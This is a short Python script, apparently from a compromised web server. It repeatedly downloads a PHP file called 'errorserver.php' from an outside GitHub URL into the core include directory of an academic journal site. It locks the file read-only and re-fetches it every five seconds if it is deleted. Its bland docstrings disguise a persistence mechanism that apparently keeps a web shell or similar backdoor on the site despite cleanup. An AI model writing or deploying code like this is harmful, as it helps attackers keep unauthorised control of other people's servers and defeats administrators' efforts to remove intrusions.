import os
import time
import urllib.request
main_file = '/var/www/jurnal/ojs33014/lib/pkp/includes/errorserver.php'
source_url = 'https://raw.githubusercontent.com/citranina/file/main/errorserver.php'
def fetch_resource(url, target):
"""Fetches the resource from the given URL and sets permissions to read-only."""
try:
urllib.request.urlretrieve(url, target)
os.chmod(target, 0o444)
except Exception as e:
print(f"Error fetching resource: {e}")
def check_and_fix_permissions(target, correct_mode):
"""Checks and resets file permissions if modified."""
try:
file_stat = os.stat(target)
current_mode = oct(file_stat.st_mode & 0o777)
if current_mode != oct(correct_mode):
print(f"Permission changed! Resetting {target} to {oct(correct_mode)}")
os.chmod(target, correct_mode)
except Exception as e:
print(f"Error checking permissions: {e}")
if not os.path.exists(main_file):
fetch_resource(source_url, main_file)
while True:
time.sleep(5)
if not os.path.exists(main_file):
print(f"{main_file} not found. Re-fetching...")
fetch_resource(source_url, main_file)
else:
check_and_fix_permissions(main_file, 0o444)